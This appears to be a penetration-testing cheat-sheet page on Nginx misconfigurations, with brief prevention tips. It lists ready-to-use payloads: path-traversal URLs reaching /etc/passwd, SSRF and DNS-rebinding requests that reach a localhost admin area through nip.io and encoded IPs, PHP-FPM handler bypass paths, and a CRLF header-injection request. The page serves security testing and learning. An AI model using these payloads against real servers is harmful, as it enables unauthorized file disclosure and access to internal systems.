Skip to content

🚩 Nginx Misconfiguration

📚 Resources

🛠️ Tools

Off By Slash /

The Off By Slash misconfiguration can lead to Path Traversal vulnerabilities if location and alias are mismatched.

nginx
# Good configuration
location /assets/ {
    alias /var/www/site/assets/;
}
nginx
# Example of Misconfiguration
location /assets {
    alias /var/www/site/assets/;
}

Why is this a problem ?

If location /assets is used without a trailing slash, Nginx treats /assets as a file instead of a directory. Since alias includes a trailing /, path resolution can behave unexpectedly, potentially leading to path traversal vulnerabilities.

requests like:

bash
GET /assets../ # Attempt to escape the directory

could bypass restrictions and expose sensitive files if protections are weak.

bash
# Payloads
https://website.com/assets../
https://website.com/assets..%2F
/assets..%2F..%2Fetc/passwd

How to Prevent Off By Slash Issues

  • Always use a trailing / in both location and alias (e.g., location /assets/ { alias /var/www/site/assets/; }).
  • Use root instead of alias when applicable, as it handles Path Resolution more predictably.
  • Enable strict path validation using directives like deny all; for sensitive areas.

Root Location

nginx
server {
    server_name _;
    root /etc/nginx;

    location /assets/ {
        alias /var/www/site/assets/;
    }

    location /login/ {
        alias /var/www/site/login/;
    }

    location / {
        try_files $uri $uri/ =404;
        default_type text/plain;
    }
}

In this configuration, /etc/nginx is the root directory, meaning Nginx serves files from here by default. If no alias is set, such as for the / location, the root /etc/nginx is used.

The location /assets/ block uses alias to serve files from /var/www/assets/ when the URL path starts with /assets/.

In the location / block, Nginx uses try_files to check if the requested file exists in the root directory. If not, it returns a 404 error. The default_type is set to text/plain, so files with unknown types are served as plain text.

Common default Nginx configuration files include:

bash
# Default
nginx.conf          # Main Nginx configuration file
mime.types          # Defines MIME types for various file extensions
fastcgi_params      # Parameters for FastCGI configuration (used for PHP, etc.)

sites-available/
  ├── default.conf  # Default conf
  ├── my_site.conf  # Guessing
  └── my_site

site-enabled/
  ├── default       # Symlink to "sites-available/default.conf"
  ├── my_site       # Symlink to "sites-available/my_site.conf"
  └── my_site

ssl/
ssl.conf

These are usually part of the Nginx setup, depending on your system's configuration.

🌐 SSRF

If the web server is configured to redirect resource on the specific url.

nginx
location /admin/ {
    allow 127.0.0.1;
    deny all;
    autoindex on;
    alias /var/www/html/admin/;
}

location ~ /test(.*) {
    proxy_pass  http://example.com$1;
}

Send /testfoo and the server interpreted this request like : http://example.comtoto

Now, we can erase the dns to replace by a specific DNS.

↕️ DNS Rebinding

Cyberbook SSRF Rebinding

In the case of Nginx with proxy_pass, if configured as proxy_pass http://toto.com$1;, an attacker controlling toto.com can first resolve it to their own server, then later resolve it to 127.0.0.1 or another internal IP.

Use a service like webhook.site, send request like :

bash
# Payload
http://vulnsite.com/test.specific.webhook.site.dns/

# Server interpreted this like :
http://example.com.specific.webhook.site.dns # DNS rebiding

example.com.specific.webhook.site.dns is a subdomain of specific.webhook.site.dns and could be interpreted as *.specific.webhook.site.dns

If you do, it means the server is performing a DNS lookup, and the injection is possible.

Exploit

Use nip.io to redirect requests through a local DNS and bypass the restriction on 127.0.0.1 allowing access to the /admin/ section.

bash
http://vulnsite.com/test.127.0.0.1.nip.io/admin/
# OR
http://vulnsite.com/test.127-0-0-1.nip.io/admin/

Redirect to

bash
http://example.com.127.0.0.1.nip.io/admin/
# TO
http://127.0.0.1/admin/

Or try to directly discover the internal DNS

bash
http://vulnsite.com/test.127.0.0.1/admin/
/test.localhost/admin/
/test.127.0.0.1:8080/admin/
/test.internal:9090/
/test.2130706433.admin/  # (127.0.0.1 in decimal)
/test.0x7F000001.admin/  # (127.0.0.1 in hex)

NGINX + PHP-FPM Misconfigurations

To bypass .php location blocks or pass .php files to the interpreter from unintended locations.

Payload:

bash
GET /uploads/test.jpg/evil.php

GET /uploads/test.phar

Check if the server executes your code or serves the raw source, configuration might be insecure.

CRLF + XSS

Exploit missconfiguration if $uri is passed in .conf file

bash
GET /endpoint%0d%0aFoo:%20bar

If the Foo: bar header is displayed in the response, the CRLF + XSS is exploitable.

Tips

  • $uri: If $uri var is passed on the redirect path, hex string is passed, crlf is exploitable.
  • proxy_pass : Overwrite DNS, try DNS binding.